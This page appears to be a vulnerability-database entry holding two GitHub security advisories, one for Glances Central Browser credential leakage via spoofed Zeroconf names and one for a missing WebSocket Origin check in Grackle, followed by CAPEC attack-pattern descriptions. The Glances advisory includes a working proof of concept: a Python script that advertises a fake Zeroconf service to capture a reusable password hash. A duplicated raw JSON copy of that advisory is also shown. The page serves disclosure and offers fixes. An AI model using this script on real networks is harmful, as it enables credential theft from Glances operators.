GHSA-VX5F-957P-QPVM
Vulnerability from github – Published: 2026-03-16 16:36 – Updated: 2026-03-18 21:48Summary
In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global [passwords] default credential.
An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.
Details
Dynamic server discovery keeps both a short name and a separate ip:
# glances/servers_list_dynamic.py:56-61
def add_server(self, name, ip, port, protocol='rpc'):
new_server = {
'key': name,
'name': name.split(':')[0], # Short name
'ip': ip, # IP address seen by the client
'port': port,
...
'type': 'DYNAMIC',
}
The Zeroconf listener populates those fields directly from the service advertisement:
# glances/servers_list_dynamic.py:112-121
new_server_ip = socket.inet_ntoa(address)
new_server_port = info.port
...
self.servers.add_server(
srv_name,
new_server_ip,
new_server_port,
protocol=new_server_protocol,
)
However, the Central Browser connection logic ignores server['ip'] and instead uses the untrusted advertised server['name'] for both password lookup and the destination URI:
# glances/servers_list.py:119-130
def get_uri(self, server):
if server['password'] != "":
if server['status'] == 'PROTECTED':
clear_password = self.password.get_password(server['name'])
if clear_password is not None:
server['password'] = self.password.get_hash(clear_password)
uri = 'http://{}:{}@{}:{}'.format(
server['username'],
server['password'],
server['name'],
server['port'],
)
else:
uri = 'http://{}:{}'.format(server['name'], server['port'])
return uri
That URI is used automatically by the background polling thread:
# glances/servers_list.py:141-143
def __update_stats(self, server):
server['uri'] = self.get_uri(server)
The password lookup itself falls back to the global default password when there is no exact match:
# glances/password_list.py:45-58
def get_password(self, host=None):
...
try:
return self._password_dict[host]
except (KeyError, TypeError):
try:
return self._password_dict['default']
except (KeyError, TypeError):
return None
The sample configuration explicitly supports that default credential reuse:
# conf/glances.conf:656-663
[passwords]
# Define the passwords list related to the [serverlist] section
# ...
#default=defaultpassword
The secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:
# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
# 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit
password = password_hash
# glances/client.py:55-57
if args.password != "":
self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'
There is an inconsistent trust boundary in the interactive browser code as well:
glances/client_browser.py:44opens the REST/WebUI target viawebbrowser.open(self.servers_list.get_uri(server)), which again trustsserver['name']glances/client_browser.py:55fetches saved passwords withself.servers_list.password.get_password(server['name'])glances/client_browser.py:76usesserver['ip']for the RPC client connection
That asymmetry shows the intended safe destination (ip) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.
Exploit Flow
- The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in
[passwords](especiallydefault=...). - An attacker on the same multicast domain advertises a fake
_glances._tcp.local.service with an attacker-controlled service name. - Glances stores the discovered server as
{'name': <advertised-name>, 'ip': <discovered-ip>, ...}. - The background stats refresh calls
get_uri(server). - Once the fake server causes the entry to become
PROTECTED,get_uri()looks up a saved password by the attacker-controlledname, falls back todefaultif present, hashes it, and buildshttp://username:hash@<advertised-name>:<port>. - The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.
PoC
Step 1: Verified local logic proof
The following command executes the real glances/servers_list.py get_uri() implementation (with unrelated imports stubbed out) and demonstrates that:
- password lookup happens against
server['name'], notserver['ip'] - the generated credential-bearing URI uses
server['name'], notserver['ip']

This confirms the code path binds credentials to the advertised name and ignores the discovered ip.
Step 2: Live network reproduction
- Configure a reusable browser password:
# glances.conf
[passwords]
default=SuperSecretBrowserPassword
- Start Glances in Central Browser mode on the victim machine:
glances --browser -C ./glances.conf
- On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes
PROTECTED:
from zeroconf import ServiceInfo, Zeroconf
import socket
import time
zc = Zeroconf()
info = ServiceInfo(
"_glances._tcp.local.",
"198.51.100.50:61209._glances._tcp.local.",
addresses=[socket.inet_aton("198.51.100.50")],
port=61209,
properties={b"protocol": b"rpc"},
server="ignored.local.",
)
zc.register_service(info)
time.sleep(600)
- On the next Central Browser refresh, Glances first probes the fake server, marks it
PROTECTED, then retries with:
http://glances:<pbkdf2_hash_of_default_password>@198.51.100.50:61209
- The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.
Impact
- Credential exfiltration from browser operators: An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.
- Authentication replay: The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.
- REST/WebUI click-through abuse: For REST servers,
webbrowser.open(self.servers_list.get_uri(server))can open attacker-controlled URLs with embedded credentials. - No user click required for background theft: The stats refresh thread uses the vulnerable path automatically once the fake service is marked
PROTECTED. - Affected scope: This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.
Recommended Fix
Use the discovered ip as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.
# glances/servers_list.py
def _get_connect_host(self, server):
if server.get('type') == 'DYNAMIC':
return server['ip']
return server['name']
def _get_preconfigured_password(self, server):
# Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds
if server.get('type') == 'DYNAMIC':
return None
return self.password.get_password(server['name'])
def get_uri(self, server):
host = self._get_connect_host(server)
if server['password'] != "":
if server['status'] == 'PROTECTED':
clear_password = self._get_preconfigured_password(server)
if clear_password is not None:
server['password'] = self.password.get_hash(clear_password)
return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port'])
return 'http://{}:{}'.format(host, server['port'])
And use the same _get_preconfigured_password() logic in glances/client_browser.py instead of calling self.servers_list.password.get_password(server['name']) directly.

The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.\n\n## PoC\n\n### Step 1: Verified local logic proof\n\nThe following command executes the real `glances/servers_list.py` `get_uri()` implementation (with unrelated imports stubbed out) and demonstrates that:\n\n- password lookup happens against `server[\u0027name\u0027]`, not `server[\u0027ip\u0027]`\n- the generated credential-bearing URI uses `server[\u0027name\u0027]`, not `server[\u0027ip\u0027]`\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@\u0027\nimport importlib.util\nimport sys\nimport types\nfrom pathlib import Path\n\npkg = types.ModuleType(\u0027glances\u0027)\npkg.__apiversion__ = \u00274\u0027\nsys.modules[\u0027glances\u0027] = pkg\n\nclient_mod = types.ModuleType(\u0027glances.client\u0027)\nclass GlancesClientTransport: pass\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules[\u0027glances.client\u0027] = client_mod\n\nglobals_mod = types.ModuleType(\u0027glances.globals\u0027)\nglobals_mod.json_loads = lambda x: x\nsys.modules[\u0027glances.globals\u0027] = globals_mod\n\nlogger_mod = types.ModuleType(\u0027glances.logger\u0027)\nlogger_mod.logger = types.SimpleNamespace(\n debug=lambda *a, **k: None,\n warning=lambda *a, **k: None,\n info=lambda *a, **k: None,\n error=lambda *a, **k: None,\n)\nsys.modules[\u0027glances.logger\u0027] = logger_mod\n\npassword_list_mod = types.ModuleType(\u0027glances.password_list\u0027)\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules[\u0027glances.password_list\u0027] = password_list_mod\n\ndynamic_mod = types.ModuleType(\u0027glances.servers_list_dynamic\u0027)\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules[\u0027glances.servers_list_dynamic\u0027] = dynamic_mod\n\nstatic_mod = types.ModuleType(\u0027glances.servers_list_static\u0027)\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules[\u0027glances.servers_list_static\u0027] = static_mod\n\nspec = importlib.util.spec_from_file_location(\u0027tested_servers_list\u0027, Path(\u0027glances/servers_list.py\u0027))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass FakePassword:\n def get_password(self, host=None):\n print(f\u0027lookup:{host}\u0027)\n return \u0027defaultpassword\u0027\n def get_hash(self, password):\n return f\u0027hash({password})\u0027\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nserver = {\n \u0027name\u0027: \u0027trusted-host\u0027,\n \u0027ip\u0027: \u0027203.0.113.77\u0027,\n \u0027port\u0027: 61209,\n \u0027username\u0027: \u0027glances\u0027,\n \u0027password\u0027: None,\n \u0027status\u0027: \u0027PROTECTED\u0027,\n \u0027type\u0027: \u0027DYNAMIC\u0027,\n}\n\nprint(sl.get_uri(server))\nprint(server)\n\u0027@ | python -\n```\n\nVerified output:\n\n```text\nlookup:trusted-host\nhttp://glances:hash(defaultpassword)@trusted-host:61209\n{\u0027name\u0027: \u0027trusted-host\u0027, \u0027ip\u0027: \u0027203.0.113.77\u0027, \u0027port\u0027: 61209, \u0027username\u0027: \u0027glances\u0027, \u0027password\u0027: \u0027hash(defaultpassword)\u0027, \u0027status\u0027: \u0027PROTECTED\u0027, \u0027type\u0027: \u0027DYNAMIC\u0027}\n```\n\nThis confirms the code path binds credentials to the advertised `name` and ignores the discovered `ip`.\n\n### Step 2: Live network reproduction\n\n1. Configure a reusable browser password:\n\n```ini\n# glances.conf\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start Glances in Central Browser mode on the victim machine:\n\n```bash\nglances --browser -C ./glances.conf\n```\n\n3. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes `PROTECTED`:\n\n```python\nfrom zeroconf import ServiceInfo, Zeroconf\nimport socket\nimport time\n\nzc = Zeroconf()\ninfo = ServiceInfo(\n \"_glances._tcp.local.\",\n \"198.51.100.50:61209._glances._tcp.local.\",\n addresses=[socket.inet_aton(\"198.51.100.50\")],\n port=61209,\n properties={b\"protocol\": b\"rpc\"},\n server=\"ignored.local.\",\n)\nzc.register_service(info)\ntime.sleep(600)\n```\n\n4. On the next Central Browser refresh, Glances first probes the fake server, marks it `PROTECTED`, then retries with:\n\n```text\nhttp://glances:\u003cpbkdf2_hash_of_default_password\u003e@198.51.100.50:61209\n```\n\n5. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.\n\n## Impact\n\n- **Credential exfiltration from browser operators:** An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.\n- **Authentication replay:** The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.\n- **REST/WebUI click-through abuse:** For REST servers, `webbrowser.open(self.servers_list.get_uri(server))` can open attacker-controlled URLs with embedded credentials.\n- **No user click required for background theft:** The stats refresh thread uses the vulnerable path automatically once the fake service is marked `PROTECTED`.\n- **Affected scope:** This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.\n\n## Recommended Fix\n\nUse the discovered `ip` as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.\n\n```python\n# glances/servers_list.py\n\ndef _get_connect_host(self, server):\n if server.get(\u0027type\u0027) == \u0027DYNAMIC\u0027:\n return server[\u0027ip\u0027]\n return server[\u0027name\u0027]\n\ndef _get_preconfigured_password(self, server):\n # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds\n if server.get(\u0027type\u0027) == \u0027DYNAMIC\u0027:\n return None\n return self.password.get_password(server[\u0027name\u0027])\n\ndef get_uri(self, server):\n host = self._get_connect_host(server)\n if server[\u0027password\u0027] != \"\":\n if server[\u0027status\u0027] == \u0027PROTECTED\u0027:\n clear_password = self._get_preconfigured_password(server)\n if clear_password is not None:\n server[\u0027password\u0027] = self.password.get_hash(clear_password)\n return \u0027http://{}:{}@{}:{}\u0027.format(server[\u0027username\u0027], server[\u0027password\u0027], host, server[\u0027port\u0027])\n return \u0027http://{}:{}\u0027.format(host, server[\u0027port\u0027])\n```\n\nAnd use the same `_get_preconfigured_password()` logic in `glances/client_browser.py` instead of calling `self.servers_list.password.get_password(server[\u0027name\u0027])` directly.",

GHSA-W3HV-X4FP-6H6J
Vulnerability from github – Published: 2026-03-25 17:27 – Updated: 2026-03-25 17:28Impact
The WebSocket upgrade handler in the server validates authentication (API key token or session cookie) but does not check the Origin header. A malicious webpage on a different origin could initiate a WebSocket connection to ws://localhost:3000/ws if it can leverage the user's session cookie (which is SameSite=Lax, allowing top-level navigations).
This enables cross-origin WebSocket hijacking — if a user visits a malicious site while a Grackle session is active, the attacker's page could open a WebSocket and subscribe to real-time events (session output, task updates, environment state).
Affected code:
- packages/server/src/ws-bridge.ts:80-91 — connection handler accepts WebSocket upgrades without checking req.headers.origin
Patches
Fix: Validate req.headers.origin against an allowlist before accepting connections:
const origin = req.headers.origin || "";
if (origin && !origin.includes("localhost") && !origin.includes("127.0.0.1")) {
ws.close(4003, "Invalid origin");
return;
}
Workarounds
Ensure the Grackle server is only accessible on 127.0.0.1 (the default). Do not use --allow-network in untrusted network environments.

No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-160: Exploit Script-Based APIs
Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-510: SaaS User Request Forgery
An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-89: Pharming
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.
